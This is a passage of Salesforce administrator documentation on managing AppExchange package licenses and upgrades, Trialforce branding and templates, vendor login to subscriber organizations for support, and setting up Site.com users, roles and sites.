To assign licenses to Force.com AppExchange users: Note: If you purchased a site license or if the managed package is not licensed, Salesforce automatically assigns licenses to all your users and the ability to manage licenses is not available. Your users can use the package as long as they have the appropriate permissions. 1. 2. 3. 4. 5. Click Your Name > Setup > Installed Packages to find the installed package that has available licenses. Click the Manage Licenses link next to the package name. Click Add Users. Choose a view from the drop-down list, or click Create New View to build a new custom view. Click a letter to filter the users with a last name that corresponds with that letter or click All to display all users who match the criteria of the current view. 6. Select users. To select individual users, use the checkboxes. Selected users are listed in the Selected list. When the list includes all users to which you want to assign licenses, click Add. To select all users for the current view, click Add All Users then click OK.

2352

Installed Packages

Managing Licenses for Installed Packages

Note: You can also add a single user from the user's detail page. See Editing Users on page 512.

See Also:
Managing Packages Managing Licenses for Installed Packages Assigning Licenses for Managed Packages Removing Licenses for Installed Packages

Removing Licenses for Installed Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage licenses for an AppExchange package: Manage Package Licenses

To remove licenses for an AppExchange package from multiple users: 1. 2. 3. 4. Click Your Name > Setup > Installed Packages. Click Manage Licenses next to the package name. Click Remove Multiple Users. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. 5. Click a letter to filter the users with a last name that corresponds with that letter or click All to display all users who match the criteria of the current view. 6. Select users. To select individual users, use the checkboxes. Selected users appear in the Selected for Removal list. When the list includes all users for which you want to remove licenses, click Remove. To select all users in the current view, click Remove All Users, then click OK.

You can also remove licenses for an AppExchange package from a single user using the following options: 1. Click Your Name > Setup > Manage Users > Users and click Remove next to the package in the managed packages list.

2353

Installed Packages

Managing Licenses for Installed Packages

2. Click Your Name > Setup > Installed Packages, then click Manage Licenses next to the package name, and click Remove next to the user.

See Also:
Managing Packages Managing Licenses for Installed Packages Assigning Licenses for Managed Packages Assigning Licenses for Installed Packages

Responding to License Manager Requests


Available in: Developer Edition Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To respond to registration requests: Customize Application

A license manager is a Salesforce organization that tracks all Salesforce subscribers installing a particular AppExchange package. Salesforce administrators can choose to designate another organization as the license manager for one of their packages. The license manager does not need to be the same organization as the one from which the package is managed. To choose another organization as the license manager, all you need is an email address (not a Salesforce username). If a Salesforce administrator selects to have a third-party license manager and enters your email address, you will receive a license management request in email. To respond to a registration request: 1. Click the link in the license management request email. This displays the registration request in the requestor's Developer Edition organization. 2. Click Accept to complete the registration process. Alternatively, click Reject to decline the request and close the browser; this prevents you from using the link again. Note: If you accept this request, you authorize Salesforce to automatically create records in your Salesforce organization to track information about this package. Choosing a license manager organization is permanent and cannot be changed. 3. Enter the username and password for the Salesforce organization you want to use to manage licenses for this package. A license manager can be any Salesforce organization that has installed the free License Management Application (LMA) from Force.com AppExchange.

2354

Installed Packages

Upgrading Packages

4. Click Confirm.

See Also:
Managing Packages Managing Licenses for Installed Packages

Upgrading Packages
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To upload packages: To install and uninstall packages: Upload AppExchange Packages Download AppExchange Packages

Salesforce supports upgrades for managed packages only. Publishers can publish an upgrade for a managed package and notify installers that the new version is available. Installers of a managed package can then install the upgrade as follows: 1. Before you install an upgrade, determine if the app you installed was from a managed package. Look for the - Installed icon on the detail pages for each component and on the list of packages installed. If the app you installed is not from a managed package, upgrades for it are not available. 2. Then, install the upgrade in the same way you would install any other package from Force.com AppExchange directory. If the publisher provided a link to the new version, follow the link to the package posting and install it in your organization. The first page of the install wizard lists the current version you have installed, the version you are about to install, and a list of additional components included in the new version. Managed

Notes on Upgrading Managed Packages


Consider the following when upgrading a managed package: All existing custom objects that were previously deployed will still be deployed. Salesforce prompts you to deploy any new custom objects or previously undeployed custom objects. Profile settings are editable but not upgradeable. After upgrading, update the profile settings for any custom objects included in the package. The developer can make changes to profile settings after releasing them, but those changes will not be included in an upgrade. However, changes made to permission sets are included in the upgrade for any permission sets that were included in the package. If the developer chooses to add universally required custom fields, the fields will have default values. Translation Workbench values for components that are editable but not upgradeable are excluded from upgrades. For more information, see the Force.com Quick Reference for Developing Packages. If an installed package has Restricted API access, upgrades will be successful only if the upgraded version does not contain any s-controls. If s-controls are present in the upgraded version, you must change the currently installed package to Unrestricted API access. When you upgrade a package, changes to the API access are ignored even if the developer specified them. This ensures that the administrator installing the upgrade has full control. Installers should carefully examine the changes in package

2355

Installed Packages

Why Use Trialforce?

access in each upgrade during installation and note all acceptable changes. Then, because those changes are ignored, the administrator should manually apply any acceptable changes after installing an upgrade.

See Also:
Installing a Package Uninstalling a Package Managing Package Installations Managing Licenses for Installed Packages

Why Use Trialforce?


The AppExchange makes it easy to showcase what you have built and market to existing Salesforce CRM customers. But what if you want to market and distribute to customers who dont have Salesforce CRM? As Force.com has matured over the years, ISVs have created a large and growing number of non-CRM apps. These are apps that do not extend Salesforce CRM and have no need to leverage Salesforce standard objects like Leads, Opportunities, Cases and the like. ISVs that have developed these non-CRM apps can market to any customers, ultimately increasing their market reach. For apps like these, a new distribution model was needed.

About Trialforce Branding


Available in: Developer Edition

User Permissions Needed To manage Trialforce branding: Customize Application

App developers using Trialforce to create new trials of their product can optionally set up a branded login site and system emails. By branding these areas with your company's look and feel, users of your application will be immersed in your brand from sign-up to login. A branded login page enables you to specify your login domain and login site. Login domains end with .cloudforce.com, so that if your company name is mycompany, then your login domain will be mycompany.cloudforce.com. Your custom login site includes your text and company logo, and mobile-friendly versions of your login site as well.

Branded emails allow you to specify fields in system-generated emails so that your company name, address, and other pertinent details are used in email correspondence. You can create multiple branded email sets for different campaigns, customer bases, etc. Note: To configure branding, you must be logged into a Trialforce Management Organization (TMO). To get your TMO, log a case in the Salesforce Partner Portal.

2356

Installed Packages

Why Use Trialforce?

Trialforce Branded Login Site


Available in: Developer Edition

User Permissions Needed To define package branding: Package Branding

Use the Trialforce Branded Login Site page to create, publish, and edit a login page that has your company's look and feel. If you haven't set up a login site yet, click Set Up Login Site. If you've already set up a login site, click Publish to make the site available, or Launch Site Editor to make changes.

Trialforce Login Site Domain Choose a subdomain where customers will log into your application. Usually the subdomain is the name of your company. 1. 2. 3. 4. In the field provided, enter a name. Click Check Availability. Accept the terms of use. Click Save and Launch Editor.

Creating a Branded Login Page Available in: Developer Edition

User Permissions Needed To manage Trialforce branding: Customize Application

To create a branded login page: 1. Click Your Name > Setup > Trialforce > Branding > Login Site. 2. Click Set Up Login Site. 3. Select a subdomain for your login site by providing a name in the field provided. Usually this is the name of your company. Note: Login domains end with .cloudforce.com, so that if your company name is mycompany, then your login domain will be mycompany.cloudforce.com. 4. Check the availability of the domain and then accept the terms of use. 5. Click Save and Launch Editor. 6. Use the Login Brand Editor to change how your login page looks. For additional help using the editor, click Help for this Page. 7. Click Save and Close.

2357

Installed Packages

Why Use Trialforce?

8. If you're ready to make these changes available to your Trialforce source organizations, click Publish. Otherwise your changes are saved and you can publish later.

Trialforce Login Branding Editor Available in: Developer Edition

User Permissions Needed To manage Trialforce branding: Customize Application

Use the Branded Login Site Editor to design your login pages. 1. At the top of the editor, click the tab for the login page size: Desktop or Mobile. 2. In the left pane, expand the Page Header node and click Select File to choose your company logo for each size screen your app supports. 3. In the Logo Link > Use custom link field, optionally, enter a web address to be used when a customer clicks your logo, such as your corporate website. The URL must start with http:// or https://. If you leave this field blank, your logo will not have a link. 4. Expand Page Content node and paste in the trial sign-up link URL from your Trialforce Templates page into the Trial Sign-Up Link > Use custom link field. 5. Provide URLs for the right and bottom of the page. If you leave these fields blank, the frames default to the ones used on the Salesforce login page. 6. Expand the page footer and provide your company name and font color. 7. Expand the page background node and provide a background image and color. 8. At the top of the page click Save and Close. 9. On the Branded Login Site page, click Preview for the size of the page you want to see. Make sure your login page appears correct for each login page your app supports.

Trialforce Branded Email Sets


Available in: Developer Edition

User Permissions Needed To define package branding: Package Branding

Trialforce Email Branding allows you to modify system-generated emails so that they appear to come from your company rather than from Salesforce.com. Trialforce Email Branding only applies to users who sign up for your application through Trialforce. Each Trialforce source organization comes with a standard set of email notifications that are sent to customers. For example, customers get an email notification when they first sign up, or when they reset their password. You don't have to rewrite all of these system-generated emails yourself. Just provide the values for the fields and the system takes care of the rest.

2358

Installed Packages

Why Use Trialforce?

Edit Trialforce Branded Email Set To begin, click New Email Set or Edit next to an existing email set. 1. 2. 3. 4. Fill in the fields with your company info. In the Preview Emails area, click through the different types of generated emails and make sure they read correctly. Click Save. If you're ready to make these emails available to your Trialforce source organizations, click Publish. Otherwise your changes are saved and you can publish later.

Trialforce Source Organizations


Available in: Developer Edition

The Trialforce Source Organizations page helps you create and manage your Trialforce source organizations. To create a new source organization, click New . If you have an existing source organization you want to use, click Login. To edit an existing source organization, click Edit.

New Trialforce Source Organization


Available in: Developer Edition

User Permissions Needed To define package branding: Package Branding

To create a new source organization: 1. Enter a new username and email address for the administrator account. 2. Enter the source organization name and select the branding. 3. Click Create.

2359

Installed Packages

Why Use Trialforce?

Edit Trialforce Source Organization


Available in: Developer Edition

User Permissions Needed To define package branding: Package Branding

To edit a Trialforce source organization: 1. Enter the source organization name and select the branding. 2. Click Save.

Trialforce
Available in: Developer Edition

User Permissions Needed To define package branding: Package Branding

To create a Trialforce template: 1. Click New Trialforce Template. 2. Specify a description of the template and whether to include data in the dialog that appears. 3. Click Save. You will receive an email with the organization ID of the new template. You can use the ID to sign up trial organizations. Note: You can only create a Trialforce template if the Trialforce source organization is less than 256 MB in size.

Each Trialforce template has a status with one of the following values. In Progress When a Trialforce template is first created, it always has this status. It then automatically moves to either Success or Error status. Success The Trialforce template can be used to create new trial organizations. Error The Trialforce template cannot be used as something has gone wrong and additional debugging is required.

2360

Installed Packages

Supporting Your Subscribers

Deleted The Trialforce template is no longer available for use. Deleted templates are automatically removed during system updates.

Supporting Your Subscribers


App publishers are responsible for end user support of all their listings. When customers contact salesforce.com Customer Support with a question about your listing, we direct the user to the support information on the About and Support tabs of your listing. Make sure your AppExchange listings include support information. If you have installed the License Management App (LMA), you can log into a customer's organization and provide administrative support for your customers. This feature is only available for managed packages that have passed the security review. For more information, see Logging in to Subscriber Organizations.

Subscriber Organizations
User Permissions Needed To log in to subscriber organizations: Log in to Subscriber Organization

This page shows a list of subscriber organizations with your package installed. To find a subscriber organization quickly, enter a subscriber name or organization ID in the search box and click Search. Click the name of a subscriber organization to view detailed information about it. Note: Only subscribers who have installed at least one managed package that is linked to your LMA will appear in this list.

Viewing Subscriber Details


User Permissions Needed To log in to subscriber organizations: Log in to Subscriber Organization

The Subscriber Overview page, accessed by clicking the organizations name from the Subscribers tab of the LMA, provides detailed information about each subscriber organization. This can give you insight into how a customer is using your app and help you in troubleshooting problems. Under Organization Details: The name and contact information is from the Setup > Company Profile > Company Information page in the subscribers organization. This may differ from the information shown in your LMA lead, account, or contact records. Organization ID is a unique ID that identifies this customers Salesforce organization.

2361

Installed Packages

Supporting Your Subscribers

Instance determines which salesforce.com data center this customers organization resides in. It also determines when the customer will get upgraded with a new version of Salesforce. See trust.salesforce.com during the release period to understand which version of Salesforce the customer is using.

The page also includes these related lists.

Best Practices
When you access a subscriber organization, you are logged out of your LMO (License Management Organization). You can set up a my domain so that you are not automatically logged out of your LMO when you log into a subscriber organization. To set up a my domain, click Your Name > Setup > Company Profile > My Domain. Be careful to allow only trusted support and engineering personnel to log into a subscribers organization. Since this feature may include full read/write access to customer data and configurations, its vital to your reputation to preserve their security. Control who has access by giving the Log in to Subscriber Organization user permission to specific support personnel, via a profile or permission set.

Requesting Login Access


Ask the user to click Setup > My Personal Information > Grant Login Access to grant access. If the publisher isnt listed on this page, its for one of the following reasons: A system administrator disabled the ability for non-administrators to grant access. The user doesnt have a license for the package. The package is licensed to the entire organization. Only administrators with the Manage Users permission enabled on their profile can grant access. The organization preference Administrators Can Log in as Any User is enabled. See Controlling Login Access on page 559. Note: Unless the organization preference Administrators Can Log in as Any User is enabled, access is granted for a limited amount of time, and the subscriber can revoke access at any time. Any changes you make while logged in as a subscriber are logged in the audit trail.

Logging in to Subscriber Organizations


User Permissions Needed To log in to subscriber organizations: Log in to Subscriber Organization

To log in, once a user has granted you access: 1. In the License Management App (LMA), click the Subscribers tab. 2. To find a subscriber organization quickly, enter a subscriber name or organization ID in the search box and click Search. 3. Click the name of the subscriber organization.

2362

Installed Packages

Supporting Your Subscribers

4. On the Organization Details page, click Login next to a user's name. Note that you have the same permissions as the user you logged in as. 5. When youre finished troubleshooting, click Your Name > Return to Subscriber Overview to return to your organization. Note: Only subscribers who have installed at least one managed package that is linked to your LMA will appear in this list.

Best Practices
When you access a subscriber organization, you are logged out of your LMO (License Management Organization). You can set up a my domain so that you are not automatically logged out of your LMO when you log into a subscriber organization. To set up a my domain, click Your Name > Setup > Company Profile > My Domain. Be careful to allow only trusted support and engineering personnel to log into a subscribers organization. Since this feature may include full read/write access to customer data and configurations, its vital to your reputation to preserve their security. Control who has access by giving the Log in to Subscriber Organization user permission to specific support personnel, via a profile or permission set.

Troubleshooting in Subscriber Organizations


When logged in as a user in a subscribers organization, you can generate Apex debug logs that contain the output from your managed packages. This includes logging that would normally not be exposed to the subscriber. Using this log information, you can troubleshoot issues that are specific to that subscriber organization. 1. Launch the Developer Console from Your Name > Developer Console. 2. Perform the operation and view the debug log with your output. If the user has access, setup up a Debug Log from Setup > Monitoring > Debug Log. Note that subscribers will be unable to see the logs you set up or generate since they contain your Apex code unobfuscated. In addition, you can also view and edit data contained in protected custom settings from your managed packages when logged in as a user.

2363

BUILDING SITES

Site.com Overview
Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

Site.com is a Web content management system (CMS) that makes it easy to build dynamic, data-driven Web pages quickly, edit content in real time, and manage your websites. From the Site.com tab in the Site.com app, you can launch Site.com Studio, which provides a separate, dedicated environment for creating and editing pixel-perfect, custom websites. Publishers and designers can create and style Web pages, and add features such as navigation menus, images, and text areas using drag-and-drop page elements, while ensuring the site's pages match the look and feel of the company's brand. And content contributors, such as marketing users, can browse and update website content directly in a simplified Site.com Studio environment. Additionally, websites built with Site.com benefit from running on salesforce.com's trusted global infrastructure. Note: The features available in Site.com Studio vary depending on whether you're a publisher, designer, or contributor.

The following examples illustrate a few ways to use Site.com: Create an event siteAdvertise upcoming events, such as grand openings, launches, or sales kick-offs on a public event site. Promote new productsLaunch new products into the market with a promotional website that helps drive sales. Publish a support FAQProvide helpful information on a public website where customers can view solutions to their issues. Create microsites and landing pagesCreate temporary landing pages or targeted microsites for marketing campaigns. Create a recruiting websitePost job openings to a public site and allow visitors to submit applications and resumes. Publish a catalog of productsList all of your company's products on a public website, with model numbers and current prices pulled dynamically from your organization. Post company press releasesPublish your companys press releases and sort by publication date.

System Requirements
To use Site.com Studio, we recommend: Mozilla Firefox or Google Chrome for best performance. Windows Internet Explorer versions 6.0 and 7.0 are not supported. Disabling the Firebug extension for Firefox, if installed, as it can impact performance.

2364

Setting Up Users

Setting Up Site.com Users

A minimum browser resolution of 1024x768.

See Also:
Setting Up Site.com Users Supported Browsers Planning and Implementing a Site.com Website Site.com Data Services Overview Using Site.com Studio as a Publisher or Designer Using Site.com Studio as a Contributor

SETTING UP USERS
Setting Up Site.com Users
Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To create or edit users: Manage Users

Warning: All users trying to create or modify websites in Site.com Studio need the View Setup and Configuration permission enabled on their profile. Before users can access Site.com, you must allocate a Site.com feature license, and add them to individual sites using Site.com Studio. Check the feature table for information on the feature license, permissions, and role required for each user. After you determine the appropriate access level, follow these steps to set up a Site.com user: 1. Allocate a feature license to the user by editing the user's profile. To allocate Site.com Publisher feature licenses to users in your organization, select the Site.com Publisher User checkbox. Alternatively, for contributors, select the Site.com Contributor User checkbox. Once you allocate a feature license, users can access the Site.com app in the Force.com app menu in the Salesforce header. Note: If the checkboxes don't appear, verify that Site.com is enabled for your organization. Organizations using Unlimited or Enterprise Editions must purchase Site.com Publisher and Site.com Contributor feature licenses separately. For information on purchasing Site.com feature licenses, contact salesforce.com. Developer Edition organizations contain two Site.com Publisher feature licenses and one Site.com Contributor feature license. 2. Assign additional permissions if the user needs to perform administrative tasks such as setting up users or assigning roles. 3. Add users and assign user roles within a site.

2365

Setting Up Users

About Site.com User Permissions

The feature license, permissions, and user role all determine what a user can do in each site. For example, to create an administrative user who can manage all sites in your organization, you would assign a Publisher license, enable the Manage Users permission, and assign the role of Publisher at the site level. We recommend that you have at least one user with all these assigned attributes. For users who only need limited access to content and no administrative access, you would assign a Contributor license and a Contributor role at the site level. Alternatively, to create a user who can manage roles in a site, but without the ability to publish, you would assign a Publisher license, the Manage Users permission, and the Designer role at the site level.

See Also:
About Site.com Feature Licenses About Site.com User Permissions About Site.com User Roles Managing Site.com Users and Roles Planning and Implementing a Site.com Website About Publisher, Designer, and Contributor Features

About Site.com User Permissions


Users who need to perform administrative tasks on sites must have an additional permission on their Salesforce user profile. Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

Assign the Manage Users permission to a user to enable them to perform the tasks. Salesforce.com recommends that you have at least one user per organization with both a Publisher license and the Manage Users permission. See the Site.com feature table on page 2370 for the capabilities that come with this permission. Warning: The Manage Users permission is powerful. It allows a user this control for your entire organization and not just Site.com. For more information, see User Permissions on page 574.

See Also:
Setting Up Site.com Users About Site.com Feature Licenses About Site.com User Roles Managing Site.com Users and Roles Planning and Implementing a Site.com Website About Publisher, Designer, and Contributor Features

2366

Setting Up Users

About Site.com Feature Licenses

About Site.com Feature Licenses


Every Site.com user must have a feature license to access Site.com Studio. Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

The two types of feature licenses are Site.com Publisher and Site.com Contributor, which each have a fixed set of permissions. Site.com Publisher allows the user to access Site.com Studio to build and style websites, control the layout and functionality of pages and page elements, and add and edit content. Site.com Contributor allows the user to access Site.com Studio to edit site content only.

Consider what users need to do in a site and purchase licenses accordingly. See the Site.com feature table for a complete list of the capabilities that come with each feature license. After you purchase feature licenses, you can set up Site.com users on page 2365. You can view the number of assigned feature licenses on your organization's profile. Note: Organizations using Unlimited or Enterprise Editions must purchase Site.com Publisher and Site.com Contributor feature licenses separately. For information on purchasing Site.com feature licenses, contact salesforce.com. Developer Edition organizations contain two Site.com Publisher feature licenses and one Site.com Contributor feature license.

See Also:
Setting Up Site.com Users About Site.com User Permissions About Site.com User Roles Managing Site.com Users and Roles Planning and Implementing a Site.com Website About Publisher, Designer, and Contributor Features

About Site.com User Roles


Once you create a site, you need to add users and assign them a role. Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

Every user must have a role assigned at the site level. Using roles, you can modify permissions for individual sites. Users can only have one role per site, but their roles can vary between sites. For example, a person can be a publisher on one site and be

2367

Setting Up Users

Managing Site.com Users and Roles

a contributor on another. To manage roles for a site, you must have a Publisher license plus the Manage Users permission. There are three user roles. PublisherPublishers are users who can manage all content. They can create sites, templates, style sheets, pages, and add data functions. If they have the Manage Users permission, they can also assign roles, set up domains, and publish sites. This role requires the Publisher license. DesignerDesigners are similar to publishers in that they have lots of control over content, but they cant manage domains or publish sites. If they have the Manage Users permission, they can also assign roles. This role requires the Publisher license. ContributorContributors have the most restricted access to content. They typically are restricted to editing content blocks. Even if contributors have the Manage Users permission, they cant manage roles at the site level. This role requires the Contributor license.

See the Site.com feature requirements table on page 2370 for the capabilities of each user role. For information on how to add users and assign roles, see Managing Site.com Users and Roles on page 2368.

See Also:
Setting Up Site.com Users About Site.com Feature Licenses About Site.com User Permissions Managing Site.com Users and Roles Planning and Implementing a Site.com Website About Publisher, Designer, and Contributor Features

Managing Site.com Users and Roles


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To manage users: Publisher license, the Manage Users permission, and the Publisher role assigned at the site level.

Once you create a site, you need to add users and assign them roles. If you havent already assigned user licenses, you wont be able to add users or assign roles for a site. For more information about the different roles, see About Site.com User Roles on page 2367. Important: When assigning roles, be sure to add one thats compatible with a users Site.com license. When users log into Site.com, their license is checked against the role assigned to them at the site level. If the license doesnt allow the permissions associated with the role, then the user is given the permissions associated with the license. For example, if a user has a Contributor license, but is assigned a role of a publisher, they will only have Contributor permissions regardless of the assigned role.

2368

Setting Up Users

Managing Site.com Users and Roles

To add users and assign roles: 1. 2. 3. 4. 5. 6. On the Overview tab in Site.com Studio, click Site Configuration > User Roles. Click Add Users. In the Available Users section, highlight the user you want to add. Select the role from the Add as drop-down list. Click the arrow to move the user to the Selected Users section. Click Save. Note: Users only show up in the Available Users section if they have already been assigned a valid Site.com user license in their user profile. Be sure to assign a role that matches the users assigned license. To delete users: 1. Select the user. 2. Click > Remove. 3. Click OK. To change a users role: 1. Hover over the users role. 2. Click the arrow to display all the roles. 3. Select the new role. To delete or change the role of a group of users at the same time, use Bulk Actions. 1. 2. 3. 4. Select the check box beside each users name. Click Bulk Actions. Select the action. Click Apply. Note: When updating the roles of several users at once, you can only assign the same role to all selected users.

See Also:
Setting Up Site.com Users About Site.com Feature Licenses About Site.com User Roles Planning and Implementing a Site.com Website About Publisher, Designer, and Contributor Features

2369

Setting Up Users

About Publisher, Designer, and Contributor Features

About Publisher, Designer, and Contributor Features


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

The features available in Site.com Studio vary for publishers, designers, and contributors. Publishers have full access to Site.com Studio. Publishers can build and style websites, control the layout and functionality of pages and page elements, and add and edit content. Designers have the same access as publishers except they cant manage domains or publish a site. Contributors can use Site.com Studio to edit site content only. This table lists the required feature licenses, permissions, and roles for many of the Site.com Studio features. Site.com Studio Feature Requirements Feature License (Publisher or Contributor) Permissions Site.com Studio User Role (Manage User or (Publisher, Designer, Customize Contributor) Application) Manage Users Publisher Manage Users Publisher or Designer Publisher or Designer (Users who create a site are automatically added to that site as a Publisher) Publisher or Designer (Users who import a site are automatically added to the new site as a Publisher) Publisher or Designer Publisher or Designer Publisher

Assign feature license to user profile Add users and roles at the site level

Enable contributors to add pages and edit Publisher content blocks and graphics Create websites Publisher

Delete websites Import websites

Publisher Publisher

Export websites Duplicate websites Manage Domains (Unavailable for Developer Editions) Publish changes to the live website (Unavailable for Developer Editions) Create page templates

Publisher Publisher Publisher

Publisher

Publisher

Publisher

Publisher or Designer

2370

Setting Up Users

About Publisher, Designer, and Contributor Features

Site.com Studio Feature Requirements Feature License (Publisher or Contributor) Permissions Site.com Studio User Role (Manage User or (Publisher, Designer, Customize Contributor) Application) Publisher or Designer Contributor only if enabled by the Publisher or Designer in the page templates Properties pane Publisher or Designer Publisher or Designer Publisher or Designer Manage Users and Publisher or Designer Customize Application Any assigned role Publisher or Designer Contributor only if enabled by the Publisher or Designer in the page templates Properties pane Any assigned role

Create website pages

Publisher or Contributor

Create and modify style sheets Modify layout and design, and add page elements

Publisher Publisher

Add data repeaters and other data-bound Publisher page elements Modify the Guest User profile to set access Publisher permissions to Salesforce objects for data services Import assets, such as images Edit content and images Publisher or Contributor Publisher or Contributor

Preview website pages

Publisher or Contributor

2371

Getting Started with Site.com

Planning and Implementing a Site.com Website

GETTING STARTED WITH SITE.COM


Planning and Implementing a Site.com Website
Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To create or import Site.com sites: To build, edit, and manage Site.com sites:
Site.com Publisher User field enabled on the user detail

page
Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level To edit only content in Site.com sites:
Site.com Contributor User field enabled on the user

detail page AND Contributor role assigned at the site level

There are many approaches to building a website. The process that best suits you depends on many factors, such as the size of your team and the tasks you're responsible for. If you're a publisher or designer, you may be involved in every stage, including adding and maintaining the site's content. Alternatively, you may have contributors who add, edit, and maintain this content. And if you're a contributor, you may be responsible for editing and updating all of the site's content, or you may work with other contributors, designers, and publishers to bring the site to completion. This topic describes the various stages involved in creating a site with Site.com. Plan the Site Design and Page Layout (Publisher or Designer)Before building the pages of the site, spend time planning the site design and basic layout. This stage is key to ensuring a consistent look and feel with the minimum amount of effort. From a hierarchical point of view, think about how many pages you need and whether they'll have subpages. Also consider how you want site visitors to navigate around your site. Next, plan the layout of the pages and identify the common elements that every page will have. In this example, the site has a header section that includes the company's logo and menu (1), and a footer section (2). However, the main section of the home page (3) differs from the rest of the site pages (4). Take note of these similarities and differences, because they will affect how you create your site pages.

2372

Getting Started with Site.com

Planning and Implementing a Site.com Website

Create the Site (Publisher or Designer)Once you've completed the planning stage, you're ready to get started! Log into the Site.com app and go to the Site.com tab, where you can create your first site. Your new blank site opens in Site.com Studio, a powerful environment for building the pages of your site. Note: Only users with the Site.com Publisher User field enabled on their user detail page can create and import sites.

Import Assets (Publisher or Designer)If you're working with a design agency, they may provide all of the files and assets you need, including a CSS style sheet. If you've created your own design, cut up the design and collect the assets, images, and files you plan to use in the site. Import the assets into Site.com Studio, where they appear in the Assets section of the Overview tab. Create a Page Template (Publisher or Designer)Once you've decided on the layout, the quickest and most effective method is to use page templates to build the basic layout and then base your site pages on it. Try to keep the design of your main page template simple to make it easier to modify in the future. For more complicated site designs, such as the example graphic, you can use the main page template as the basis for a child template to achieve maximum flexibility. When you create your page template, you can choose from predesigned layouts that include headers, footers, and columns, or you can create a blank page template. Lay Out the Page (Publisher or Designer)After you create the page template, you can modify the layout further to match the design of your site. Create the Site Pages (Publisher or Designer)Using the template as a base, you can quickly create the site pages, which automatically inherit all the elements of the page template. Or if you need a standalone page that doesn't follow the site's overall design, you can create a blank page instead. Add Features and Page Elements (Publisher or Designer)Use Site.com's prebuilt page elements to add features such as navigation menus, images, and data services, and include content blocks that contributors can edit. And add interactive, animated effects using events and actions. Make Your Website Look Good (Publisher or Designer)Take advantage of cascading style sheets (CSS) to develop the look and feel of your website. If you're not completely up to speed with CSS, the Style pane provides an easy, visual way to create and manage styles. Or if you're a CSS expert who likes to get straight into the code, you can hand-code the site's style sheets. Add and Edit Content (Contributor)At this stage, if you're a contributor, the site is usually ready for you to add and edit content such as text, images, videos, and hyperlinks. And as you work, you can upload any images or files you need. Review and Test the Site (Contributor, Publisher, or Designer)Testing the changes to the pages of your site happens throughout the development cycle. As a contributor, publisher, or designer, you should always preview your changes to ensure they display as expected in a browser. And if you're a publisher or designer, you can send a preview link to the site's reviewers so they can review the finished product before it goes live.

2373

Getting Started with Site.com

Site.com Tab Overview

Publish the Site (Publisher Only)After testing is complete, you're ready to go live with your new site. Just set the site's domain information and then publish your changes to make your site live!

See Also:
Site.com Overview Using Site.com Studio as a Publisher or Designer Using Site.com Studio as a Contributor

Site.com Tab Overview


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To create or import Site.com sites: To build, edit, and manage Site.com sites:
Site.com Publisher User field enabled on the user detail

page
Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level To edit only content in Site.com sites:
Site.com Contributor User field enabled on the user

detail page AND Contributor role assigned at the site level

If you can't see the Site.com tab, go to the Site.com app. It's available in the Force.com app menu in the Salesforce header. Then click the Site.com tab to view the list of your Site.com sites. From this page you can: Click New to create or import a site. Only users with the Site.com Publisher User field enabled on their user detail page can create and import sites. Click the title of any column to sort your site list. By default, sites are sorted by name. See the status of your site. In DevelopmentThe site has never been published. PublishedThe site has been published at least once. Filter the sites you see by selecting a predefined list from the drop-down list. My Sites shows the sites you can access and your role. All Sites shows all the sites in your organization even if you dont have access to some of them. Click Edit next to a site to open it in Site.com Studio.

2374

Getting Started with Site.com

Using Site.com Studio as a Publisher or Designer

Click Preview next to a site to see how it looks when rendered in a browser window. Click next to a site to duplicate, export, or delete it. Only users with the Site.com Publisher User field enabled on their user detail page and the role of Publisher or Designer can duplicate, export, and delete sites. Note: After you publish a site, you can't delete it, but you can take it offline.

See Also:
Site.com Overview Planning and Implementing a Site.com Website Using Site.com Studio as a Publisher or Designer Using Site.com Studio as a Contributor

Using Site.com Studio as a Publisher or Designer


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage sites Site.com sites:
Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level To manage domains and publish Site.com sites:
Site.com Publisher User field enabled on the user detail

page AND Publisher role assigned at the site level

Watch a Demo on Building a Website with Site.com (3:12 minutes) Site.com Studio provides a dedicated site-building environment for publishers. Using the many features available, you can: Create page templates to base your site pages on. Create site pages. Import assets, such as images and files. Edit the sites style sheet or create new style sheets. View and edit a page or template. Add page elements to your site pages to provide features and functionality.

2375

Getting Started with Site.com

Using Site.com Studio as a Contributor

Use data services to connect to Salesforce objects to retrieve and display, or to submit data. Create events to add interactive and animated effects to your website. Add URL redirects to inform users and search engines if site content has moved Create folders to organize your site content. Preview your site or generate an anonymous preview link to send to other users. Manage the domain information for your site. Publish your recent changes to the live site. Note: Designers cant manage domains or publish content.

Duplicate, import, and export sites.

See Also:
Understanding the Publisher and Designer's Overview Tab Site.com Overview Planning and Implementing a Site.com Website Site.com Tab Overview

Using Site.com Studio as a Contributor


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To edit only content in Site.com sites:


Site.com Contributor User field enabled on the user

detail page AND Contributor role assigned at the site level

Watch a Demo on Editing and Managing Content with Site.com (2:53 minutes) Site.com Studio provides a dedicated content-editing environment for contributors, where you can: Open a page to edit it. Create site pages, if your publisher has enabled page creation. Edit the page text. Add images and videos to pages. Create hyperlinks and anchors.

2376

Getting Started with Site.com

Understanding the Publisher and Designer's Overview Tab

Import assets, such as images and files. Preview the site in a browser window.

See Also:
Understanding the Contributors's Overview Tab Site.com Overview Planning and Implementing a Site.com Website Site.com Tab Overview

Understanding the Publisher and Designer's Overview Tab


